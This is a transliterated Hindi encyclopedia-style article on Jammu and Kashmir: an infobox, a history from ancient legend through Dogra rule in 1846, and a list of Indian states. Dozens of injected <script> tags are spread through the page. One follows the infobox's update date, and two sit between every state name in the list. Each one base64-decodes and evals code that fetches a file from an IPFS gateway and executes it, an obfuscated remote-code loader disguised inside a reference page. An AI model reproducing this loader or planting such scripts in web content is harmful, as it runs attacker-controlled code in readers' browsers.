जम्मू और कश्मीर

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jammoo aur kashmir
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rajadhani	jammoo (shitakalin) shrinagar (grishmakalin)
rajabhasha(ean)	urdoo, kashmiri, paha di, laddakhi aur dogari
sthapana	1947/01/26
janasankhya	10,143,700
· ghanatv	100 /ki.mi2 (259 /sq mi) /varg kimi
kshetraphal	222,236 ki.mi2 (85806 sq mi)
tapaman	23 °C (ausat)
· grishm	23.4-43.0 °C
· sharad	4.3-26.2 °C
zile	22
sabase b da nagar	shrinagar
liang anupat	1000:923 ♂/♀
saksharata	54.46%%
· stri	41.82%%
· purush	65.75%%
rajyapal	nareandranath vohara
mukhyamantri	umar abdullah
vidhanasabha sadasy	89 + 36
bahari k diyaan	adhikarik vebasait
adyatan‎	16:21, 17 julaee 2010 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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ek bharatiy rajy, jo bharatiy upamahadvip ke uttari bhag mean pashchimi parvatashreniyoan ke nikat sthit hai. pahale yah bharat ki b di riyasatoan mean se ek tha. yah poorvattar mean siankyaang ka svayatt kshetr v tibbati svayatt kshetr (donoan chin ke bhag) se, dakshin mean himachal pradesh v panjab rajyoan se, pashchim mean pakistan aur pashchimottar mean pakistan adhikrit bhoobhag se ghira hai. jammoo-kashmir rajy ke pashchim madhy hisse ke pakistan adhikrit kshetr mean devasee parvat hai.

itihas

rajatarangini tatha nilam puran namak do pramanik granthoan mean yah akhh‍yan milata hai ki kashh‍mir ki ghati kabhi bahut b di jhil hua karati thi. is katha ke anusar kashyap rrishi ne yahaan se pani nikal liya aur ise manoram prakritik sh‍thal mean badal diya, kiantu bhoogarbhashastriyoan ka kahana hai ki bhoogarbhiy parivartanoan ke karan khadiyanayar, baramula mean paha doan ke dhansane se jhil ka pani bahakar nikal gaya aur is tarah 'prithh‍vi par sh‍varg' kahalane vali kashh‍mir ki ghati astith‍v mean aee. eesa poorv tisari shatabh‍di mean samrat ashok ne kashh‍mir mean bauddh dharm ka prasar kiya. bad mean kanishk ne isaki j dean aur gahari kian. chhathi shatabh‍di ke aranbh mean kashh‍mir par hoonoan ka adhikar ho gaya. [[chitr:Tso-Moriri-Lake-Ladakh.jpg|thumb|220px|left|tso moriri jhil, laddakh
Tso Moriri Lake, Ladakh]] yadyapi san 530 mean ghati phir sh‍vatantr ho gee lekin isake turant bad is par ujjain samrajh‍y ka niyantran ho gaya. vikramadith‍y rajavansh ke patan ke pashh‍chat kashh‍mir par sh‍thaniy shasak raj karane lage. vahaan hindoo aur bauddh sansh‍kritiyoan ka mishrit roop vikasit hua. kashh‍mir ke hinh‍doo rajaoan mean lalitadith‍y (san 697 se san 738) sabase prasiddh raja hue jinaka rajh‍y poorv mean bangal tak, dakshin mean koankan, uttar-pashchim mean turkish‍tan, aur u‍ttar-poorv mean tibbat tak phaila tha. lalitadith‍y ne anek bhavh‍y bhavanoan ka nirman kiya. kashh‍mir mean ish‍lam ka agaman 13 vian aur 14vian shatabh‍di mean hua. muslim shasako mean jain-ul-abadin (1420-70) sabase prasiddh shasak hue, jo kashh‍mir mean us samay satta mean ae, jab tataro ke hamale ke bad hindoo raja sianhadev bhag ge. bad mean chak shasakoan ne jain-ul-avadin ke putr haidarashah ki sena ko khade d diya aur san 1586 tak kashh‍mir par raj kiya. san 1586 mean akabar ne kashh‍mir ko jit liya. san 1752 mean kashh‍mir tath‍kalin kamazor mugal shasak ke hath se nikalakar afaganistan ke ahamad shah abdali ke hathoan mean chala gaya. 67 sal tak pathanoan ne kashh‍mir ghati par shasan kiya.

jammoo ka ulh‍lekh mahabharat mean bhi milata hai. hal mean akhanoor se praph‍t h daph‍pa kalin avasheshoan tatha maury, kushan aur guph‍t kal ki kalakritiyoan se jammoo ke prachin sh‍varoop par naya prakash p da hai. jammoo 22 paha di riyasatoan mean banta hua tha. dogara shasak raja maladev ne kee kshetroan ko jitakar apane vishal rajh‍y ki sh‍thapana ki. san 1733 se 1782 tak raja ranjit dev ne jammoo par shasan kiya kiantu unake uttaradhikari durbal the, isalie maharaja ranajit sianh ne jammoo ko panjab mean mila liya. bad mean unh‍hoanne dogara shahi khanadan ke vanshaj raja gulab sianh ko jammoo rajh‍y sauanp diya. 1819 mean yah panjab ke sikkh shasan ke aantargat aya aur 1846 mean dogara rajavansh ke adhin ho gaya. gulab sian‍h ranajit sianh ke gavarnaroan mean sabase shaktishali ban ge aur lagabhag samooche jammoo kshetr ko unh‍hoanne apane rajh‍y mean mila liya.

aj ka svaroop

apane vartaman svaroop mean jammoo - kashmir ka aanchal, 1846 mean roopayit hua. jab pratham sikkh yuddh ke aant mean lahaur aur amritasar ki sandhiyoan ke dvara jammoo ke dogara shasak raja gulab sianh ek vistrit, lekin anishchit se himalay kshetriy rajy, jise 'siandhu nadi ke poorv ki or ravi nadi ke pashchim ki or' shabdavali dvara paribhashit kiya gaya tha, ke maharaja ban ge. aangrezoan ke lie is sanrakshit deshi riyasat ki rachana ne unake samrajy ke uttari bhag ko surakshit bana diya tha, jisase ve 19vian shatabdi ke uttararddh ke dauran siandhu nadi tak aur usake age badh sakean. is prakar yah rajy ek jatil rajanitik madhyavarti kshetr ka bhag ban gaya jise aangrezoan ne uttar mean apane bharatiy samrajy aur roosi v chini samrajy ke bich sthapit kar diya tha. gulab sianh ka is parvatiy aanchal par shasanadhikar mil jane se lagabhag ek - chauthaee sadi se panjab ke sikkh samrajy ki uttari sima rekha ke pas ki chhoti - chhoti riyasatoan ke bich chal rahi muhim aur kootanitik charcha ka aant ho gaya.

dekhean:bharat ek jhalak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> telangana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandhr pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arunachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> asam <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 